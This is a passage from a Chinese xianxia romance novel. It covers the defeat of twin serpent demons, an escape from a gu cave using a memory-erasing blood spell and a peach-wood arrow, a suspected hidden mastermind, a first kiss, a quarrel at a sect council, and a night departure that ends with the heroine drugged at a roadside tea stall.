易辛是诱饵,也是佐证。彼当起初不杀她,是因为没把她放在眼里,等她成了威胁,便要除之而后快。这里这么多人可以杀,彼当一直是玩弄态度,忽然坚决迅猛地杀掉易辛,便从侧面证明了匀丘是妖丹的假设。
祁不为在使用铜鸾镜前,便用术法化形出假易辛,而真易辛和不思量都在她腰间的乾坤袋里。
这时乱斗中,没有护身大阵的匀丘站在死人附近最安全。
其中自然还有一个变数,彼当!
杀匀丘必须一击即中,所以要困住彼当,让他支援不及。
等到匀丘使用樊笼大阵,场上所有人无法行动,如此一来,匀丘和彼当都松懈下来,这是杀匀丘的最好时机!
铺天盖地的白网已经消失,祁不为踉跄起身,挪了几步想要走向易辛,却又忽然顿住了脚步。
视野中,易辛背在阴影里,眼眸一片黑,握住不思量时,恍觉冷漠无情。
这一幕猛地拍在祁不为天灵盖上,寒气瞬起,他禁不住有些打颤,仿佛从旁观的角度,看见了易辛当年如何杀死自己。
61. 第三十章
难以言喻的情绪从心口里逃逸,让祁不为浑身脱力,跪在了地上,好像那厌烦、阴诡、叫人发疯的命运又缠了上来。
仿佛在应证他的不详预兆,身后响起巨蟒愤怒的咆哮,妖力激荡开来,周围所有人全部冲击得晕了过去。
而匀丘在迅速枯萎,最后只剩了张人皮,蔫蔫委地。
易辛震惊不已,眼前忽然快速地游走过一条东西。
是匀丘化成的紫蛇!
紫蛇蹿得很快,连祁不为也没反应过来,它向着四方阵中已经化成人形的彼当飞速游走,继而弹射着窜到半空。
接下来发生了十分诡异的一幕。
——紫蛇分明是寻常大小,它朝大了自己数倍的彼当张开上下颚,彼当身形扭曲,被紫蛇吸进了腹中。
火光映照的岩壁上,蛇影扭曲,跃升空中,在卷起的旋风中央越来越大,而山洞内威压暴涨,逼得易辛和祁不为跪在了地上。
随着一声高亢龙吟,飓风猝然溃散,所过之处,犹如片片刀割,那些昏迷和醒着的人,身上都被割出道道血痕。
风暴过后,一条黑紫色的巨龙盘在空中,愤怒狰狞。
此时此刻,威压达到前所未有的地步。
易辛感觉体内有无数乱流,仿佛下一瞬就会爆炸,脑内坠着什么东西,沉沉压迫颈椎。
祁不为强撑着抬头,咬牙死死盯住这头巨龙。
计划最大的纰漏,谁也不知道这对双生子还能合体化龙,那股妖力远超先前所展现的。
这时祁不为竟还自嘲一笑,原来他以前吸过这么强悍的妖力都爆体而亡,难道他真是修炼妖道的天生体质么……
巨龙长哮不止,犹如暴怒。
再无转圜之力了……
然而下一刻,巨龙身形溃散,漫成龙形紫雾,那吟啸转了几个调,听来不甘、害怕。
这时,山洞也在渐渐消失,火把次第熄灭。
那阵恨不得生生把人压进地里的威压也消失了。
祁不为彻底愣住了。
……回光返照?
匀丘死了?这只是他们蓄的最后一口气?
那阵龙形紫雾上下左右急晃,龙吟既愤怒又不甘。
妖丹已灭,最后合体化形也无济于事,像高楼坍塌前那一刹那的繁华。
高亢啸吟后,龙形咆哮道:“既与我们势不两立,我们便要玷污你的血!刻进你的骨!要你受天界仙门唾弃!”
说罢,龙形汇集他们最后的妖力,朝祁不为疾速而去!
祁不为心口陡然停滞。
他拼命想摆脱的命运,正朝着他一往无前而来。
他作出了垂死挣扎,抬手召回不思量,用尽全部力量,奋力一挥。
流光劈砍而过,如泥牛入海。
一道裂痕从剑尖开始蔓延,不思量猝然碎裂。
像前世一样,它又断了……
龙形就要汹涌地冲进他体内,一道人影忽然挡在了身前。
他来不及震惊,扑面而来的妖力一下子把易辛压进怀里,恍惚间,只见易辛抬手,手上爆发出耀眼白光。
白光中猛然升起一截树枝,再不断分杈,桃花相继盛开,清净之息以一种温和却不容阻挡的气势荡漾开来。
祁不为从未感受过如此强劲的净化之力,妖力沾之即化。
桃木!
是风疏送给易辛的桃木!
白光愈来愈烈,那紫黑杂芒也寸寸扩张,两相割据之下,齐齐涌入祁不为体内。
祁不为感到极强的冲击,猛地向后仰倒。视野中,山洞几乎全部消失,身下不是岩石,是又一片深渊。
他正无尽下坠。
阖眼前,他看见易辛扑向自己,神色仓皇,从她眼尾甩出几滴晶莹的泪珠,消失在昏暗里。
他无意识地伸手,一股巨大的力道攥住了他手指,再借力攀住肩膀,然后紧紧抱住了他。
意识消失的最后一刻,他不禁想到,易辛力气真大……
不要松手……
不要放开……
如果可以,一直留在他身边,好不好……
他们并未坠落多久,眼前出现了莹莹蓝芒,当感受到一阵托扶的力量时,他们悠悠落了地。
从祁不为身后闪出一道白光,散在他手边时,成了不思量的碎片。
易辛连忙起身,只见祁不为双目紧闭,咬紧牙关,左手小臂上,从手腕向上蜿蜒出彩绘的树枝,枝头上几簇粉白桃花,隐隐间,仿佛活物。
看这模样,是桃木在帮他抵御体内的妖气。
易辛脱下外衣,把不思量的碎片小心包裹,再环顾四周,他们正处在一处山崖之上,幽蓝荧光从崖底传出。
越靠近崖边,越能听见响动。易辛小心翼翼地垂眼望去,霎时目瞪口呆。
山崖底下宛如一个大盆,盛住数不清的尸骨,其上妖气缭绕,还有几个妖怪踩在尸骨上互斗。
流双赫然就在其中!
他不是爆体而亡了么?难道当日只是金蝉脱壳?
她沉住气,安静撤退,开始寻找离开的道路。
最后发现此地无门,山崖上只有几块立着的巨石,根本藏不住人。
这是哪里?他们离开了双生子的结界?然后又掉进了另一处地方?这里的妖怪为何自相残杀?
他们从哪里进来的?又能从哪里出去?
易辛压住重重疑窦,解开腰间的乾坤袋,把祁不为和不思量一起收纳进来,再拨动手中金铃,试探问道:“你能出来吗?”
话落,手链化形,祁不为的分身出现,面无表情地望着易辛。
易辛指了指四周:“你能看出这里的出口吗?是有什么障眼法?还有山崖底下的那群妖怪,他们怎么回事?”
祁不为走向崖岸,看清底下情形,再环顾四周,回到易辛身旁:“这是蛊洞,只有最后一个人才能出去。”
“蛊洞?”易辛惊道,虽然她不修行,但也听闻过这种东西,丢在洞里的人必须自相残杀,互相吸食力量,剩下最强的人。
这里怎会有个蛊洞呢?设下蛊洞的是谁?
她和祁不为又怎会掉到这里来?
没有一个问题想得通,易辛深吸一口气,当务之急是自保,她问眼前之人:“你能对付他们吗?”
“不能。”
这个回答不算意外,分身力量本就不如本体,何况崖底全是尸骨,最后剩下的妖怪肯定吸纳了很多妖力。
易辛眉头越拧越紧,最后问祁不为要了把匕首和碗。
她撸起衣袖,在胳膊上划了一刀,不深也不算浅,血滴进碗里。
为了加快速度,她用力拧着伤口,碗里总算盛了过半的血。
她端起碗,闭上眼睛。
花信说过,孟婆之力以液体为媒,自身血液,能发挥最大的力量。
她还没尝试过抹掉妖怪的记忆。
若是妖怪太强,她的力量压不过,便毫无用处。所以她也只敢让匀丘丢失一首诗的记忆,不敢妄图让他完全失忆。
施术完毕后,易辛把碗递给祁不为:“把它收起来,不必和最后剩下的妖怪硬碰硬,但一定要抓住机会让他喝下这碗血。”
祁不为刚收好血碗,便有人攀住山崖,继而借力,翻飞上来。
最后的胜者是流双。
他浑身上下没有一块好地方,踩在地上,便留下一串血脚印,冷冷盯着易辛:“你也在?”
易辛目光紧了紧:“你……不是死了吗?”
流双冷笑:“假死而已。逃跑没几天,不知被谁抓了,丢进这个蛊洞。”
看来他也不知道是谁。
流双指了指上头:“这上面有两个大妖,估计想把我们当食物,补补妖力。”
易辛怔住,大妖是指那对双生子?她如今还是在封印之地?
她不解道:“大妖还需要大费周折地抓你们来补食吗?”
“那不然还能如何?他们也不下来,我们喊话也没有回应,”流双啐了一口,“不知道的,还以为我们在两个地方。”
不知想明白了什么,易辛瞳孔忽而剧烈颤动起来。
流双和蛇妖毫无交集……封印深
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处还有个蛊洞……
惊惧之下,鼻翼不由自主地微微翕张,仿佛嗅出了阴谋的味道。
有什么人躲在了暗处……操控了这一切,从封印的双生子到蛊洞。
——流双是为祁不为准备的食物!
流双毫无所觉,嗤笑一声,顺着自己的话茬说道:“但我可不会束手就擒,他们让我吃了这么多妖怪,谁强谁弱还不一定。我先杀你们,再杀他们,然后拿回罗盘,去杀那个孽子!”
纵然易辛震惊不已,可此时也无人诉说,她按捺住心底的惊涛骇浪,全神贯注地注视流双。这一切都是他惹出来的祸患,仙门追杀余桓,误入此地,结果最后又碰见了流双。
流双想找余桓讨债,冥冥之中,谁知道他是不是又送到了她面前来还债。
两方人马对视一眼,流双猛地拔地而起。
易辛眼疾手快地逃离战场,抱头躲蹿,藏在了巨岩身后,分身迎面而上。
蛊洞养出来的妖怪果然很强,处处占据上风,分身打得很是狼狈,好在闪躲灵活。
易辛异常紧张,如果这一招不成,那就只剩流双杀她的时刻了。倘若流双近身杀她,她还有机会把胳膊塞进他嘴里,只是等待鲜血发挥效力的短促时间内,她怕自己已经被流双怒而杀死了。
另外还有很大可能,流双只是施展妖力,远程打死她……
她正绞尽脑汁思忖应对之法,忽然全身血液倒流——流双抓住了祁不为,掐着他脖子,渐而离地。
流双笑道:“你身上灵力纯粹,但根本不够塞牙缝的,算了,你死吧,我不要你的——”
话语戛然而止,祁不为蓦地卡住流双下颔,让他无法合上嘴巴,手上用力得青筋毕现。
流双没料到这一出,下意识动了动下巴,发出几声搞笑的啊啊声,再想甩开祁不为时,他却伸腿绞住了自己腰部,余光里,祁不为变出了什么东西,强硬地灌进他口中,力道之大,恨不得把碗揉碎了,叫他混着瓷片一起吞进去。
喝下大半东西后,流双终于放弃蛮力,手上妖力暴涨,一掌拍向祁不为后心。
祁不为迅速变小变薄,成了一张纸,可怜地飘落在地。
流双捂着下巴后退几步,脑中忽然泛起强烈的眩晕感,一幅幅画面由近至远,如浮光掠影,匆匆而去,再不回来。
最后脑中一片空白时,他不禁恍惚起来,忘了周遭何地,他是何人,眼前也因神志不清而模糊朦胧。
巨岩后,易辛看见祁不为灌汤时,便把第三条手串化成了弯弓。
那是她让祁不为帮他把桃木变成手串时想到的,如果随时背着一张弓,就是明晃晃地叫人提防自己。她没有修为,奇袭最适合她,那些妖怪根本不会给她时间搭弓挽箭。
在芙蓉镇外,第一次奇袭流双失败,因为他身负妖力,反应敏锐。
但这次不一样,全部失忆后,人会有短暂的迷惘,对所有事物都会反应迟钝!
易辛召出风疏给的木箭,瞄准依旧懵然迷惘的流双,弯弓被她拉得十分饱满,松手时,木箭嗡的一下离弦而去!
木箭擦破空气,掀起火流,在流双瞥过来的瞬间,钉入他体内。
木箭已经摆脱了弯弓的蓄势,像柄有自我意识的法器般贯穿流双,顶着他飞向半空,从伤口处长出藤条,圈圈缠绕,而火焰顺着木箭攀上藤蔓,短短片刻,便吞噬了流双,把山崖照得澄亮。
气势逼人!
易辛只听流双惨叫了一声,便再也听不出声音了,她看着火球坠落,引燃了崖底的群妖尸骨。
火焰灼灼,却蕴藏着和桃木一样的清净之力。
她不由得看呆了,风疏这木箭威力真大!
蛊洞效力似乎消失了,她能看清上方的景象。
上面也是一处断崖,虽然和彼当幻化出来的山洞不一样,但能瞥见仙门弟子身上的校服衣角。
看来他们掉得不算深。
正张望着,上边探出一道人影。
祁有为喊道:“易辛?”
易辛简直喜出望外,连忙挥手:“庄主,我们在这!”
62. 第三十一章
黑暗中悬浮着一盏桃花灯,花瓣莹白,干净至极。
灯上又悬着一团紫黑色的圆球,周围萦绕细小花瓣,流光莹莹,令圆球无处可走。
祁不为站在灯下,目不转睛地望着,伸手要触碰时,却飞来花瓣流光,探入眉心。
眼前之景缓缓远去,再清晰时,是陌生的床顶。
他还在甘华门。
祁不为坐起身。时值盛夏,外头天光大作,绿叶层层叠叠,微风摇曳时,浮光便在平滑的叶面上跳跃,蝉鸣此起彼伏。
他从望天谷的封印里回来了……下榻时,衣袖摆动间,露出了左手小臂上的桃花图。他撸起衣袖,看见了活物般的桃枝生花,隐约间似乎能嗅到清淡的桃花香。
祁不为对着桃花看了片刻,再绕着院子去寻易辛和阿姐,此时此刻,她们并不在身旁。
等靠近了厨房,他才听见两道熟悉的声音。
两人站在灶台边,上面摆着几个小碗,盛了奶酪、??冰块、蜂蜜等。
祁有为一面把奶酪捣碎,一面问易辛:“你喜欢蜂蜜还是桂花蜜?”
“桂花蜜。”易辛答道。
“好,那我给你放桂花蜜,我更喜欢蜂蜜,”祁有为笑了笑,捣着奶酪时又杵杵她胳膊,“别担心,那桃木正压制着小七体内的妖力呢,等他回去再配合调息,用不了多久就能净化了。”
祁有为补充道:“他现在昏迷不醒,是因为灵力用尽,太累了,身体在自行修复呢,不用时刻看着他,我们恶战一场,天气又这么热,吃点冰酪犒劳犒劳自己。”
易辛愣了一下,眨眨眼,她的小表情可能泄漏了些心思,但祁有为着实误会了。她只是因为吃不到冰酪,或者说只能吃到苦冰酪,而有些沮丧。
桃木已附着在祁不为体内,她自是无比放心。
只是天气炎热,她也想吃个甜甜的冰来消暑。
祁不为在外旁听,不由得摸上左边小臂。前世这个时候,他浑身上下遍布妖力,虽然阿姐用尽了所有灵力帮他压制,但也只是把它们关住了。实际它们在体内游走得肆无忌惮,时时刻刻折磨着他。
而现在他毫无异样,完全没有失控的迹象。杀了匀丘后,也只有少量的妖力渗入体内。
他好像……真的不会入魔了。
祁不为呆呆地望着厨房里,耳边窸窸窣窣想着那两人的闲聊,某一刻,忽然响起一道声音。
“公子……?你醒了?”易辛发现了门外的祁不为。
祁有为循声回头,先是惊讶了一会儿,又用木杵指指他:“你怎么挑这个时候醒了。冰酪就只准备了我和易辛的份,你等下回吧。”
前一刻祁不为还沉浸在改变命运轨迹的虚幻茫然之中,下一瞬所有情绪便落了地,他翻了个白眼,无语道:“我又不是三岁小孩,谁跟你们抢食。”
易辛刚想说自己的那份让给祁不为,反正她也吃不到原本的味道,还没开口,祁有为立即把眼睛转过来,说道:“不用让给他!”
“……好。”在她的威严之下,易辛屈服了,小鸡啄米般点头。
祁不为不仅吃不到,还帮她们把剩下的奶酪和冰块都捣碎了。
两人靠在一旁,看着他捣来捣去。易辛在祁不为身上看了片刻,状似忽然想起什么,说道:“庄主,封印之地里面为何有个蛊洞?”
祁不为动作一顿。
在他昏迷之际,易辛已经把来龙去脉告诉了祁有为,但隐去了她用孟婆神力的事,只提到了祁不为分身和风疏木箭。
当时二人并未深入讨论这些东西,打算等祁不为醒来再说。
“流双说,他以为蛊洞里的妖物都是给匀丘和彼当准备的,”易辛眉头微蹙,看起来并不相信,“但他们如此强悍,那些妖力吃与不吃,应当无甚作用。更何况他们封在结界里,如何能去外头抓妖怪?”
“流双的说法确实站不住脚,”祁有为疑惑道,“倘若蛊洞不是他们准备的,那便另有其人——”
话一出口,祁有为顿时心惊肉跳。
居然有人深入这般腹地,在两个大妖眼皮子地下设置了一处蛊洞。
或许在仙门和大妖斗得要死要活时,那人正隐在暗处,坐山观虎斗。
她边思忖边道:“设计蛊洞,说明此人能自由进出结界,还有足够困住那些要妖怪的强大修为,最重要的是瞒住了双生子。但是……这人的目的是什么呢?又为何非要在如此危险的地方设下蛊洞?”
仿佛最后一句疑问才是关键,易辛又瞥了眼祁不为,见他动作已经完全停了下来,眉峰压得很低,不知想到了什么。她顺着话茬道:“这人会不会是故意的?”
闻言,祁有为立即望向易辛,等她下文。
易辛:“那人非要在封印之地设蛊洞,就是想让谁掉下来。我们是误入封印的,但如果这其实是被算计好的呢?”
“什么?!”祁有为愕然,不太明白,“掉进蛊洞,然后呢?培养出更强大的妖物?”
易辛斟酌措辞:“当时那里有掌门有弟子,也许到了穷途末路之际,会有人铤而走险,选择吸取妖力来打败彼当他们。那么多人,万一有一个成了呢?”
祁有为下意识看了眼自己弟弟,瞬间肃立,沉思道:“如果真是这样,那人极有可能误入歧途……设下蛊洞的人是想是利用匀丘和彼当挑出能吸食妖力的人?”
易辛接过她的话:“蛊洞是以防万一的手段。假若我们在不吸食妖力的情况下打败了匀丘和彼当,很大可能那时已精疲力尽,这时再落入蛊洞里,还是只能铤而走险吸取流双的妖力。”
至此,祁有为已经明了蛊洞的真正用途,脸色凝重:“他想要一个人成妖成魔!”
三人之中,最为震撼的当属祁不为。
与其说在挑选仙门之中的谁,不如说他就是那个人的目标。
前世,只有他和祁有为掉进封印里,祁有为更像刺激他铤而走险的手段。
祁不为目光隐动,握住木杵的手都用力得泛白——那个人知道他能吸纳妖力!蓄意让他遭遇匀丘和彼当!
一旦吸纳妖力,他自会本能地抵御。但蛊洞像诱发因素,硬生生往他体内塞足够多以至于难以应付的妖力,就算他能扛住来自双生子的第一次妖力侵袭,也承受不住第二次的蛊洞。
他一定会越来越接近妖魔。
祁不为身子发麻,体内的血液似乎都冻住了。
他以为前世这些遭遇,都是偶然……
紧接着,他神色陡然阴沉,牙关咬得死紧,好像磨牙吮血的猛兽——他落得这般田地,都是幕后黑手操控的!
偏生可笑的是,他到死都没发现。
祁不为瞳仁越来越黑,是谁?幕后黑手是何人?
他前世为何会去那片封印之地?
零星的画面闪过。他猛然顿住,那时他厌恶仙门,呆在甘华门足不出户,不想和其他人打交道,是祁有为跟他说,有人说望天谷外环很漂亮,平时几乎没人去,他们二人可以去那散散步。
说这句话的人是谁?
祁不为立即转身,下意识想问她,却忽然被浇了冷水,那是前世的祁有为,现在的她如何会知道?
这一世,他和她换了行动路线,他主动引余桓发现了望天谷封印。
祁有为并不知道他心里正狂风暴雨,接着揣度道:“如果从封印到蛊洞都是有人刻意为之,那么此人是如何做到?那时候发生的事……余桓逃跑,仙门追踪,然后大家不知不觉地到了封印地……难道是余桓?”
话落,祁有为神情古怪,显然不是很相信自己的话。
易辛也惊讶了:“应该……不是吧?”
众人沉默,一时理不清是谁,祁有为忽然想起什么似的,挺直身子:“幕后之人和把我抓走的黑衣人有联系吗?”
经她提醒,易辛和祁不为才想起还有个黑衣人。
但二者信息都少得过分,难以辨出蛛丝马迹。
最后祁有为只能嘱咐
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道:“敌人藏在暗处,日后行事要万分小心。这回没得逞,指不定还有下次。”
两人应声。
他们把没有头绪的事放在一边,冰酪做完后,祁有为把加了桂花蜜的那一碗递给易辛,半途却被祁不为截住了。
她刚要诘问,便有弟子来禀:“庄主,李掌门邀您殿前议事,其余掌门宗主等也正在路上。”
“知道了,”祁不为替她答了,又对她点了点下巴,“你去吧,冰酪给你冷藏。我和易辛还有话说。”
末了,祁不为补了句:“不会抢她的。”
祁有为扫了他一眼,临走前摸了摸易辛下巴:“不用让给他,我去大殿那儿了。”
易辛温顺点头,目送她离开。
等厨房只剩他们二人时,易辛想问他要说什么,才转过身,祁不为便用调羹勺了口冰酪过来。
易辛怔了须臾,迷惑:“公子不是有话要说?”
“随口一说,把阿姐打发走而已,”祁不为把调羹又往前递了递,面色平静道,“不然直接说你要喂着吃?”
易辛脸上挂不住,想吃又觉得真让他喂了很是古怪,拘谨着迟迟没动。
“天热,再不吃就要化了,”祁不为看她一眼,“你用桃木帮了我,喂你吃碗冰酪,举手之劳。”
易辛又挣扎了小半会儿,左右觉得此地无人,也不算太羞耻,何况不吃就浪费了。
天热吃个冰,再惬意不过。
自我说服后,易辛便怡然自得地吃起冰酪,还煞有其事地赞了声:“桂花蜜好香啊。”
易辛进食时,总是很生动的,素来温顺沉静的眉眼会灵动许多,透露出小而满足的愉悦,仿佛开心对她而言是一件很容易做到的事。
祁不为垂眼静静看了半晌,忽然问道:“我们怎么从蛊洞里出来的?”
易辛咽下一口冰凉舒爽的冰酪:“用了公子之前给我的护身纸人,等他牵制住茧妖,再用风疏的木箭射中他。”
话落,又一勺冰酪送到她嘴边,易辛马上含进嘴里。花香与奶味儿顿时弥漫开来,碎冰缓了冰酪几分甜腻,吃来口感极佳,可她吃着吃着感到一丝不对劲。
易辛抬眼去看祁不为,恰好对上他辨不清情绪的目光,里头好像什么也没有,又似乎有什么藏在了漆黑的瞳孔后。
易辛咀嚼的动作渐缓,心头莫名发紧,局促道:“……怎么了?”
她并不知道,纸人分身的所见所闻,会回到正主脑海里。
——醒来之后,祁不为便在记忆中看见了易辛割血。
而她显然想瞒下此事。
易辛好像一件破了许多洞的衣服,打补丁的地方,全是显眼的秘密。
就在她七上八下时,祁不为终于发话了:“吃花了。”
……嗯?易辛愣了一下,下意识微微歪了脑袋,这样让她看来十分无辜纯良。
祁不为抬手摁住她的嘴角,撇去一点浮沫。
易辛反应过来,脸颊微红,局促着就要后仰。他托住下巴的手略一用力,就止住了她后撤的趋势。
“公子……?”
祁不为目光渐而黑沉,眼也不错地落在她的双唇上。
吃过冰酪后,易辛唇上泛着些许水光。他脸上看不出什么神情,忽然抬指摁过易辛下唇。
那力道不轻不重,却留下了难以忽略的触感,置腹上那抹灼热瞬间盖过了冰酪的丝丝凉意。易辛眼睛一下子就瞪大了,有些措手不及似的。
祁不为问道:“冰酪好吃么?”
易辛呼吸乱了,想后退却被扳住了下巴,懵然道:“好、好吃……”
“是吗?”祁不为语气飘忽。
看见碗里还有大半冰酪,易辛呆呆道:“那还有呢……你可以……尝尝。”
“好。”
听得他应声,易辛下意识想寒暄似的笑笑,只是嘴角才扬起一点点,笑意蓦地僵在了脸上。
祁不为忽然低头,严丝合缝地吻上了易辛。
63. 第三十二章
冷热对比之下,唇上温热的触感变得异常鲜明,易辛眼睛霎时瞪得又大又圆,浑身都僵住了,一双手都不知往哪儿放,只能滑稽地悬在半空。
极度混乱下,易辛脑子不负众望地冒烟了。
她无措而高频地颤着眼睑,率先浮上脑海的念头是——祁不为入魔了!此时此刻,他神志不清!
可这不应该呀……桃木明明植入体内了,它会镇住那些妖力,不致于勾出魔气。
那他为何举止反常?!
易辛脑子还在乱转,忽然祁不为睁开了眼,惊得她瞳孔一晃,呼吸都凝滞了。
两人近在咫尺地对视上。
从头到尾,祁不为只是贴着不动,这会儿退开些许,望着易辛满脸紧绷,低声道:“你要一直睁着眼睛?”
易辛脑子正一团浆糊,不能睁眼那就闭眼。可刚一闭上,她就反应过来不对——这不是睁眼闭眼的问题。
只是还没来得及睁开,面前光影一暗,温热的吐息便扑面而来,仿佛一层纱落在了眼上,叫她绵软无力不敢再睁开。
看不见之后,其余感官便触觉分明。她感到祁不为正含着自己的唇,时而啃咬,时而吮吻。
呼吸间交织着灼人的热意,烫得易辛头脑发晕,手脚绵软。
她很快就呼吸不过来了,因而从混沌中产生了片刻清明,在灼热又软乎的唇齿交缠里,极力发声道:“不、等等……不是这样的……我们……唔——”
有什么柔软的东西碰到舌尖后,易辛猛打了个激灵,不敢再开口说话,眼睛也跟着闭得更紧。
等祁不为终于高抬贵手让她顺畅呼吸后,易辛早已腿脚无力,后仰趔趄了一步,很快又被他揽住腰背。
她眼里逼出了水光,更衬得眸光干净而迷离,她好不容易张口道:“你……”
才说一个字,祁不为便凝住她的眼睛:“易辛,望天谷中你救了我,我十分感激。”
他望着易辛,还要说些什么,却见她迷茫须臾又豁然开朗,最后蹙起了眉头,连连摆手,极力想解释说清什么似的:“公子想感激我的好意,我心领了……但真不必做到这般地步。”
易辛退开两步:“我对你是有爱慕之意,但你不用牺牲自己……不用这样报答我。”
高温之下,这会儿的功夫里,冰酪已在碗里化成一滩滩黏稠水液,空气里隐动的暧昧也蒸成了逼仄躁热。
易辛这番话,完全在祁不为意料之外。
他几欲张口,却在易辛深深纠结的眉心里沉默了。
知了伏在绿叶间,对着斑驳日光叫嚣,蝉鸣尖锐,惹得人心烦意燥。
大殿内,诸位掌门吵嚷起来。
李纳川仍在首座,被众人围攻。
众人负伤,轻重不一,相比之下,没下封印之地的李纳川显得幸运极了。
“李掌门该给个说法,事关余桓,还有封印之地!”
“必是余桓引着我们去了封印之地!李掌门先前若在大殿上处置了他,便没有后面的祸事。”
祁有为一手支颐,望着殿外发呆。
大家死里逃生一场,又开始了内斗。
李纳川虽一直沉默,但对众人指责似不为所动,某个时刻,他终于抬起眼睛,不复往日温和内敛,面容显得较为强硬:“既然要说余桓,那就不能绕过罗盘。”
李纳川翻掌,罗盘悬在上方:“先前这枚罗盘明明加过封印,好好收在库房之中。仙首大会上,它却忽然躁动并离开了库房,接着指出了那茧妖的孩子。但罗盘必须吃够十人,才可行动。当初我们收复它时,人数分明未到。显然有人故意给他喂食。”
有掌门反驳:“什么意思,你怀疑我们?你怎知不是你门中弟子想要肃清妖邪!”
李纳川:“罗盘是我亲自封印,有能力解开封印的,都在这里了。”
“我可没动你门派的东西!别妄想泼脏水!”
李纳川平稳地把目光落在钱备身上:“你说呢?钱宗主?”
大殿蓦地安静下来。
祁有为有些意外地瞥向李纳川,没想到他有如此直接的一日。
钱备镇定肃容:“要查出这件事,可追踪罗盘上的术法痕迹。若有人想在仙首大会上挑拨离间,必不能轻率放过。”
李纳川:“你们与巨蟒相斗时,我已探明究竟是谁对罗盘动了手脚。”
说罢,他定定地望着钱备,意有所指。
大殿依旧安静,无论先前如何同仇敌忾地想要处置余桓,现在却置身事外地观望二人相斗。
钱备面色如常,只是皱起眉头,仿佛被冤枉了似的:“李掌门,凡事讲究证据。”
祁有为眼也不错地盯着李纳川,想看他能拿出什么证据,结果李纳川却露出耐人寻味的笑意。
“没有证据。”
众人都愣了,心中纷纷骂他没证据还这么笃定,不知搞什么鬼。
李纳川扫向众人,对上每个人的目光再去寻下一个人的双眼:“你们说余桓故意把你们引向封印之地,可有证据?你们说甘华门和余桓同流合污,可有证据?”
大家脸色瞬间精彩纷呈。
“你们可以在没有证据的情况下,问责、定罪,轮到我便不行?”李纳川反问。
李纳川长叹一口气,似是倦了,面容上是掩饰不住的厌恶和讽刺:“仙门议事,总谈些严肃的东西,今日大家齐聚一遭,不容易。余桓之事,便当开胃菜吧,我们也换个轻松些的议题,来聊聊仙门八卦。”
祁有为微微扬眉。
接着,李纳川当真像个说书先生似的娓娓道来,从灵山掌门与沧澜宗宗主夫人牵扯不清、再到其他掌门风流倜傥亲传弟子中大半都是他的子嗣、谁谁谁为了抢夺地盘暗算了谁谁谁……
在场每个人都中了招,前一瞬还在心中暗笑他人,下一刻回旋镖便飞在了自己身上。
八卦勾连利益、利益中滋生八卦,众人顿时互相斥骂起来,争吵中又不自觉牵扯出更多过往。
大殿一改往日威严肃穆,活像个断家务事的调解堂,鸡飞狗跳,荒诞可笑。
祁有为虽极力忍耐,但还是控制不住脸上的惊讶连连,她最能克制的就是没去问上一句“当真如此?”。
那些掌门已经气得站起来,在中央聚成一团,抬手指指点点。
只有祁有为、钱备、李纳川还安坐椅子上。
越过人群,祁有为对上了钱备的视线,那目光很平静,细看又深不可测,仿佛无声的交锋。
发现她对他儿子动手脚了?
祁有为不闪不避,甚至若有似无地笑了一下。
吵了许久,李纳川站起身来,双手交握在身后:“好了,殿外还有弟子,别让他们看了笑话。”
大家吵得面红耳赤,争先恐后地冷哼一声,再甩袖背身。
李纳川:“仙门在望天谷一战,伤及元气,诸位都回去调养生息吧。今日一番小吵只是抛砖引玉,从这个门走出去,今后遇到每一位弟子,都会觉得他们在用目光审判我们,因为我们对清风夫妇见死不救、违背仙门道义。”
大殿一扫热火朝天的争执氛围,空气滞闷起来。
众人脸色各异,心中或有不忿,但终归没发泄出来,谁也不想丢人当这个出头鸟,但他们大多都认为,李纳川伪善,而自己未有多大错处。
他们眉眼乱动,却在对上祁有为平静的目光时,纷纷移开了。
仙门已经撕破了脸面,大概短时间内不会彼此结盟,等他们都离开时,祁有为也准备起身走了,但李纳川喊住了她。
祁有为:“掌门有事?”
“当年的事……是我对不起你师父师娘,对不起你和你弟弟。”
李纳川已经很老了,不知是愧疚折磨,还是岁月无情。
“掌门为此事,已经向我道歉过很多次了。”
祁有为沉默片刻,又道:“你应该对师父师娘说这些,经历生死的是他们。他们是否认同或理解掌门当初的做法,我也不知道,我也没资格代替他们原谅或不原谅掌门。”
再进一步说,斯人已逝,再诚心道歉也是苍白的。
弥补不了任何错误又十分长久的道歉,对受难者来说是另一种伤害。
祁有为落下最后一句:“我弟弟已醒,我们便不再叨扰了,不日便会下山。”
是夜,白三清懒洋洋地躺在塌上,见易辛忙忙碌碌收拾包袱,不禁打了个哈欠,问道:“你做什么趁夜下山呐?”
说着说着,白三清猛地坐起来,瞪大眼睛道:“难道祁不为又欺负你了?!”
易辛连忙打手势要她小点声:“嘘——他没欺负我呀,之前不是说在甘华门攒点钱,继续和你游走四方嘛。”
白三清绕到
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她身旁,探头探脑道:“可他不是要你回清风山庄吗?”
“我又没答应。”
当时她说的可是暂且不谈此事,有桃木傍身,她也没什么需要担心的了。至于那个幕后黑手,祁不为一定会自行解决。
“噢——”白三清拉长语调,“所以你不是趁夜赶路,是趁夜逃跑!”
易辛把包袱打了个结,钱财细软都收拾完毕,望着她道:“听说余桓师兄要下山?”
“是啊,师门上下倒不反感他留在这里,但他觉得如今多事之秋,还是先离开一阵子吧,这样其他门派就没有理由刁难李纳川和甘华门了。日后的事,日后再说。”
易辛点头,又问:“那你是跟余桓师兄走,还是和我走呢?”
白三清一把抱住易辛,扑上去啵了口她的脸蛋:“当然是跟你走了,他们那些修仙之人,每天练得身上臭烘烘的,哪儿比得上女子香喷喷的。”
“那事不宜迟!”
易辛背上包袱,和白三清手拉手地跑了。
晌午时分,两人赶了一夜的路,终于在路边茶铺里歇了会脚。
此地树林茂密,前不着村后不着店,好在有个可供休憩的茶铺。白三清吨吨吨连喝几杯茶,终于消了几分暑气。
易辛也喝了一杯,抹掉额角汗水。
“这天热的,我们何时才能凉快啊?”白三清抱怨道。
“越往北,就越凉快。”易辛说道,第二杯茶也见了底,还要再添一杯时,眼前猛地一黑,突兀晕了过去。
乍见她扑倒在桌面上,白三清着实惊了一番:“易辛?……你怎么了?易辛?醒醒……”
无论白三清怎么晃她,她都毫无反应。白三清愣了好一会儿,脸色变幻莫测,而后猛地起身,一脚踩在凳子上,冲着茶铺老板怒道:“——黑店?!居然打劫打到我们头上了!小命不想要了!”
那老板瞧着憨厚老实,是个本分人,看白三清闹起来了,也吓得不知所措。
“还装?!”白三清怒指老板,“比我这只狐狸精还能演!”
她正要施展那三脚猫的妖力,余光里忽有一道身影飘然落地。
白三清顿时畏缩起来,噤若寒蝉——来者居然是祁不为!
下一瞬,她连忙收起施法的爪子,嚅嗫道:“我、我没害人……”
